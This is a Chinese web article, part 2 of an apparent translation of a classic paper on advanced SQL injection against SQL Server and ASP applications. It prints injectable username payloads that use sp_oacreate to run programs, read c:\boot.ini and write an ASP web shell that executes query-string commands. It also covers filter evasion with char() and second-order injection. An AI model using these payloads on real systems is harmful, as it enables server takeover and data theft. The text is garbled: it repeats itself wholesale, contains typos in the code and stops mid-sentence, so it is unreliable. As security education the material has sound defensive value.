- ·上一篇文章:adodb Stream 详细用法
- ·下一篇文章:SQL Server应用程序中的高级SQL注入(1)
SQL Server应用程序中的高级SQL注入(2)
方法书写可以在Transact-SQL中做任何在ASP脚本中,或者WSH脚本中可以做的任何事情。为了阐明这鞋,这里提供了几个例子:
(1)这个例子使用''wscript.shell''对象建立了一个记事本的实例:
wscript.shell example
declare @o int
exec sp_oacreate ''wscript.shell'',@o out
exec sp_oamethod @o,''run'',NULL,''notepad.exe''
我们可以通过指定在用户名后面来执行它:
Username:''; declare @o int exec sp_oacreate ''wscript.shell'',@o out exec sp_oamethod @o,''run'',NULL,''notepad.exe''—
(2)这个例子使用''scripting.filesystemobject''对象读一个已知的文本文件:
--scripting.filesystemobject example – read a known file
declare @o int, @f int, @t int, @ret int
declare @line varchar(8000)
exec sp_oacreate ''scripting.filesystemobject'', @o out
exec sp_oamethod @o, ''opentextfile'', @f out, ''c:\boot.ini'', 1
exec @ret=sp_oamethod @f,''readline'',@line out
while(@ret=0)
begin
print @line
exec @ret=sp_oamethod @f,''readline'',@line out
end
(3)这个例子创建了一个能执行通过提交到的任何命令:
-- scripting.filesystemobject example – create a ''run this''.asp file
declare @o int,@f int,@t int,@ret int
exec sp_oacreate ''scripting.filesystemobject'',@o out
exec sp_oamethod @o,''createtextfile'',@f out,''c:\inetpub\wwwroot\foo.asp'',1
exec @ret=sp_oamethod @f,''writeline'',NULL,''<% set o=server.createobject("wscript.shell"):o.run(request.querystring("cmd")) %>''
需要指出的是如果运行的环境是WIN NT4+IIS4平台上,那么通过这个程序运行的命令是以系统权限运行的。在IIS5中,它以一个比较低的权限IWAM_XXXaccount运行。
(4)这些例子阐述了这个技术的适用性;它可以使用''speech.voicetext''对象引起SQL SERVER发声:
declare @o int,@ret int
exec sp_oacreate ''speech.voicetext'',@o out
exec sp_oamethod @o,''register'',NULL,''foo'',''bar''
exec sp_oasetproperty @o,''speed'',150
exec sp_oamethod @o,''speak'',NULL,''all your sequel servers are belong to,us'',528
waitfor delay ''00:00:05''
我们可以在我们假定的例子中,通过指定在用户名后面来执行它(注意这个例子不仅仅是注入一个脚本,同时以admin权限登陆到应用程序):
Username:admin'';declare @o int,@ret int exec sp_oacreate ''speech.voicetext'',@o out exec sp_oamethod @o,''register'',NULL,''foo'',''bar'' exec sp_oasetproperty @o,''speed'',150 exec sp_oamethod @o,''speak'',NULL,''all your sequel servers are belong to us'',528 waitfor delay ''00:00:05''--
[存储过程]
传说如果一个ASP应用程序在数据库中使用了存储过程,那么SQL注入是不可能的。这句话只对了一半,这要看ASP脚本中调用这个存储过程的方式。
本质上,如果一个有参数的查询被执行 ,并且用户提供的参数通过安全检查才放入到查询中,那么SQL注入明显是不可能发生的。但是如果攻击者努力影响所执行查询语句的非数据部分,这样他们就可能能够控制数据库。
比较好的常规的标准是:
?如果一个ASP脚本能够产生一个被提交的SQL查询字符串,即使它使用了存储过程也是能够引起SQL注入的弱点。
?如果一个ASP脚本使用一个过程对象限制参数的往存储过程中分配(例如ADO的用于参数收集的command对象),那么通过这个对象的执行,它一般是安全的。
明显地,既然新的攻击技术始终地被发现,好的惯例仍然是验证用户所有的输入。
为了阐明存储过程的查询注入,执行以下语句:
sp_who ''1'' select * from sysobjects
or
sp_who ''1'';select * from sysobjects
任何一种方法,在存储过程后,追加的查询依然会执行。
[高级SQL注入]
通常情况下,一个web应用程序将会过滤单引号(或其他符号),或者限定用户提交的数据的长度。
在这部分,我们讨论一些能帮助攻击者饶过那些明显防范SQL注入,躲避被记录的技术。
[没有单引号的字符串]
有时候开发人员会通过过滤所有的单引号来保护应用程序,他们可能使用VBScript中的replace函数或类似:
function escape(input)
input=replace(input,"''","''''")
escape=input
end function
无可否认地这防止了我们所有例子的攻击,再除去'';''符号也可以帮很多忙。但是在一个大型的应用程序中,好象个别值期望用户输入的是数字。这些值没有被限定,因此为攻击者提供了一个SQL注入的弱点。
如果攻击者想不使用单引号产生一个字符串值,他可以使用char函数,例如:
insert into users values(666,
char(0x63)+char(0x68)+char(0x72)+char90x69)+char(0x73), char(0x63)+char(0x68)+char(0x72)+char90x69)+char(0x73),
0xffff)
这就是一个能够往表中插入字符串的不包含单引号的查询。
淡然,如果攻击者不介意使用一个数字用户名和密码,下面的语句也同样会起作用:
insert into users values(667,
123,
123,
oxffff)
SQL SERVER自动地将整型转化为varchar型的值。
[Second-Order SQL Injection]
即使应用程序总是过滤单引号,攻击者依然能够注入SQL同样通过应用程序使数据库中的数据重复使用。
例如,攻击者可能利用下面的信息在应用程序中注册:
Username:admin''—
Password:password
应用程序正确过滤了单引号,返回了一个类似这样的insert语句:
insert into users values(123,''admin''''—'',''password'',0xffff)
我们假设应用程序允许用户修改自己的密码。这个ASP脚本程序首先保证用户设置新密码前拥有正确的旧密码。代码如下:
username = escape( Request.form("username") );
oldpassword = escape( Request.form("oldpassword") );
newpassword = escape( Request.form("newpassword") );
var rso = Server.CreateObject("ADODB.Recordset");
var sql = "select * from users where username = ''" + username + "'' and password = ''" + oldpassword + "''";
rso.open( sql, cn );
if (rso.EOF)
{
…
设置新密码的代码如下:
sql = "update users set password = ''" + newpassword + "'' where username = ''" + rso("username") + "''"
rso("username")为登陆查询中返回的用户名
当username为
(1)这个例子使用''wscript.shell''对象建立了一个记事本的实例:
wscript.shell example
declare @o int
exec sp_oacreate ''wscript.shell'',@o out
exec sp_oamethod @o,''run'',NULL,''notepad.exe''
我们可以通过指定在用户名后面来执行它:
Username:''; declare @o int exec sp_oacreate ''wscript.shell'',@o out exec sp_oamethod @o,''run'',NULL,''notepad.exe''—
(2)这个例子使用''scripting.filesystemobject''对象读一个已知的文本文件:
--scripting.filesystemobject example – read a known file
declare @o int, @f int, @t int, @ret int
declare @line varchar(8000)
exec sp_oacreate ''scripting.filesystemobject'', @o out
exec sp_oamethod @o, ''opentextfile'', @f out, ''c:\boot.ini'', 1
exec @ret=sp_oamethod @f,''readline'',@line out
while(@ret=0)
begin
print @line
exec @ret=sp_oamethod @f,''readline'',@line out
end
(3)这个例子创建了一个能执行通过提交到的任何命令:
-- scripting.filesystemobject example – create a ''run this''.asp file
declare @o int,@f int,@t int,@ret int
exec sp_oacreate ''scripting.filesystemobject'',@o out
exec sp_oamethod @o,''createtextfile'',@f out,''c:\inetpub\wwwroot\foo.asp'',1
exec @ret=sp_oamethod @f,''writeline'',NULL,''<% set o=server.createobject("wscript.shell"):o.run(request.querystring("cmd")) %>''
需要指出的是如果运行的环境是WIN NT4+IIS4平台上,那么通过这个程序运行的命令是以系统权限运行的。在IIS5中,它以一个比较低的权限IWAM_XXXaccount运行。
(4)这些例子阐述了这个技术的适用性;它可以使用''speech.voicetext''对象引起SQL SERVER发声:
declare @o int,@ret int
exec sp_oacreate ''speech.voicetext'',@o out
exec sp_oamethod @o,''register'',NULL,''foo'',''bar''
exec sp_oasetproperty @o,''speed'',150
exec sp_oamethod @o,''speak'',NULL,''all your sequel servers are belong to,us'',528
waitfor delay ''00:00:05''
我们可以在我们假定的例子中,通过指定在用户名后面来执行它(注意这个例子不仅仅是注入一个脚本,同时以admin权限登陆到应用程序):
Username:admin'';declare @o int,@ret int exec sp_oacreate ''speech.voicetext'',@o out exec sp_oamethod @o,''register'',NULL,''foo'',''bar'' exec sp_oasetproperty @o,''speed'',150 exec sp_oamethod @o,''speak'',NULL,''all your sequel servers are belong to us'',528 waitfor delay ''00:00:05''--
[存储过程]
传说如果一个ASP应用程序在数据库中使用了存储过程,那么SQL注入是不可能的。这句话只对了一半,这要看ASP脚本中调用这个存储过程的方式。
本质上,如果一个有参数的查询被执行 ,并且用户提供的参数通过安全检查才放入到查询中,那么SQL注入明显是不可能发生的。但是如果攻击者努力影响所执行查询语句的非数据部分,这样他们就可能能够控制数据库。
比较好的常规的标准是:
?如果一个ASP脚本能够产生一个被提交的SQL查询字符串,即使它使用了存储过程也是能够引起SQL注入的弱点。
?如果一个ASP脚本使用一个过程对象限制参数的往存储过程中分配(例如ADO的用于参数收集的command对象),那么通过这个对象的执行,它一般是安全的。
明显地,既然新的攻击技术始终地被发现,好的惯例仍然是验证用户所有的输入。
为了阐明存储过程的查询注入,执行以下语句:
sp_who ''1'' select * from sysobjects
or
sp_who ''1'';select * from sysobjects
任何一种方法,在存储过程后,追加的查询依然会执行。
[高级SQL注入]
通常情况下,一个web应用程序将会过滤单引号(或其他符号),或者限定用户提交的数据的长度。
在这部分,我们讨论一些能帮助攻击者饶过那些明显防范SQL注入,躲避被记录的技术。
[没有单引号的字符串]
有时候开发人员会通过过滤所有的单引号来保护应用程序,他们可能使用VBScript中的replace函数或类似:
function escape(input)
input=replace(input,"''","''''")
escape=input
end function
无可否认地这防止了我们所有例子的攻击,再除去'';''符号也可以帮很多忙。但是在一个大型的应用程序中,好象个别值期望用户输入的是数字。这些值没有被限定,因此为攻击者提供了一个SQL注入的弱点。
如果攻击者想不使用单引号产生一个字符串值,他可以使用char函数,例如:
insert into users values(666,
char(0x63)+char(0x68)+char(0x72)+char90x69)+char(0x73), char(0x63)+char(0x68)+char(0x72)+char90x69)+char(0x73),
0xffff)
这就是一个能够往表中插入字符串的不包含单引号的查询。
淡然,如果攻击者不介意使用一个数字用户名和密码,下面的语句也同样会起作用:
insert into users values(667,
123,
123,
oxffff)
SQL SERVER自动地将整型转化为varchar型的值。
[Second-Order SQL Injection]
即使应用程序总是过滤单引号,攻击者依然能够注入SQL同样通过应用程序使数据库中的数据重复使用。
例如,攻击者可能利用下面的信息在应用程序中注册:
Username:admin''—
Password:password
应用程序正确过滤了单引号,返回了一个类似这样的insert语句:
insert into users values(123,''admin''''—'',''password'',0xffff)
我们假设应用程序允许用户修改自己的密码。这个ASP脚本程序首先保证用户设置新密码前拥有正确的旧密码。代码如下:
username = escape( Request.form("username") );
oldpassword = escape( Request.form("oldpassword") );
newpassword = escape( Request.form("newpassword") );
var rso = Server.CreateObject("ADODB.Recordset");
var sql = "select * from users where username = ''" + username + "'' and password = ''" + oldpassword + "''";
rso.open( sql, cn );
if (rso.EOF)
{
…
设置新密码的代码如下:
sql = "update users set password = ''" + newpassword + "'' where username = ''" + rso("username") + "''"
rso("username")为登陆查询中返回的用户名
当username为
